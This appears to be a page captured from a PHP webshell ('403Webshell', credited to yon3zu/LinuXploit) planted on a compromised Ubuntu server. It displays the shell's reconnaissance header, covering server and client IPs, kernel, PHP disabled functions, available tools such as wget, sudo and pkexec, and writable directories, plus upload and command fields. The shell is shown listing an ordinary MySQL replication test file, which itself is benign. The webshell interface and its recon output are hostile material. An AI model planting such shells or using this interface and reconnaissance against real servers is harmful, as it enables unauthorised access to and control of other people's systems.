403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.81.216
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_rotate_gtid.test
# ==== Purpose ====
#
# When the slave SQL thread processes transactions, it internally keeps
# track of the starting position of the current transaction. This position
# is used to rewind the position in case the SQL thread is stopped in the
# middle of a transaction, or in case the transaction is re-executed due to
# slave_transaction_retries > 0.
#
# This test verifies that the start of the transaction is correctly updated
# even if the transaction spans multiple relay logs, such that a Gtid_log_event
# is immediately followed by a Rotate_log_event.
#
# ==== Related Bugs and Worklogs ====
#
# Bug #18652178 STOP SQL_THREAD, START SQL_THREAD
#               CAUSES A TRX TO LOG WITH A DIFFERENT GTID
#
--source include/have_binlog_format_statement.inc
--source include/have_innodb.inc
--source include/have_gtid.inc
--source include/master-slave.inc
# Test should run only on debug build
source include/have_debug.inc;
source include/have_debug_sync.inc;


--echo # Preparing the relaylog
#
# Create a relaylog on slave containing a relaylog file that finishes with
# an Gtig_log_event and the rest of the group (transaction) is in the
# next relaylog file.
#
# The better way of doing this is disabling slave's auto positioning
# and using a debug point to stop the IO thread right after queuing
# the Gtid_log_event. Because auto positioning is disabled, the IO thread
# will not ask the Gtid_log_event again.
#
--source include/rpl_connection_slave.inc
--source include/stop_slave.inc
# Disabling auto positioning
CHANGE MASTER TO MASTER_AUTO_POSITION=0;
# Make sync includes to rely on position instead of GTIDs
--let $use_gtids= 0
--source include/start_slave_io.inc

# Setting the debug point to stop IO thread after queuing Gtid_log_event
SET @save_debug=@@global.debug;
SET GLOBAL DEBUG='d,stop_io_after_reading_gtid_log_event';

--echo # Create a transaction on the master
--echo # that will have it's GTID and other events in separated relay log files
--source include/rpl_connection_master.inc
CREATE TABLE t1 (c1 INT) ENGINE=InnoDB;

# Wait for IO thread to stop and restarts it to get the rest of the transaction
--source include/rpl_connection_slave.inc
--source include/wait_for_slave_io_to_stop.inc
SET GLOBAL DEBUG=@save_debug;
--source include/start_slave_io.inc

--echo # Create other transaction on the master
--source include/rpl_connection_master.inc
CREATE TABLE t2 (c1 INT) ENGINE=InnoDB;

--source include/sync_slave_io_with_master.inc

--echo # Restart the SQL thread until the beginning of the last relay log file
--source include/rpl_connection_slave.inc
# Disable warnings to avoid logging "UNTIL condtion is not supported ..." on MTS
--disable_warnings
START SLAVE SQL_THREAD UNTIL
  RELAY_LOG_FILE= 'slave-relay-bin.000003',
  RELAY_LOG_POS= 4;
--enable_warnings
--source include/wait_for_slave_sql_to_stop.inc

--echo # Restart the SQL thread
--source include/start_slave_sql.inc

--source include/rpl_connection_master.inc
--source include/sync_slave_sql_with_master.inc
# If t1 was replicated to the slave and it's original GTID was skipped
# this test will fail in the rpl_end.inc because the GTID_EXECUTED of the
# master contains a GTID that was sent to the slave (it is in
# Retrieved_Gtid_Set), but wasn't applied by the SQL thread.
--let $assert_cond= "[SHOW TABLES LIKE "t1"]" = "t1"
--let $assert_text= t1 should be replicated
--source include/assert.inc

--echo # Cleanup
--source include/rpl_connection_master.inc
DROP TABLE t1, t2;
# Make rpl_end.inc to verify GTID_EXECUTED
--let $use_gtids= 1
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit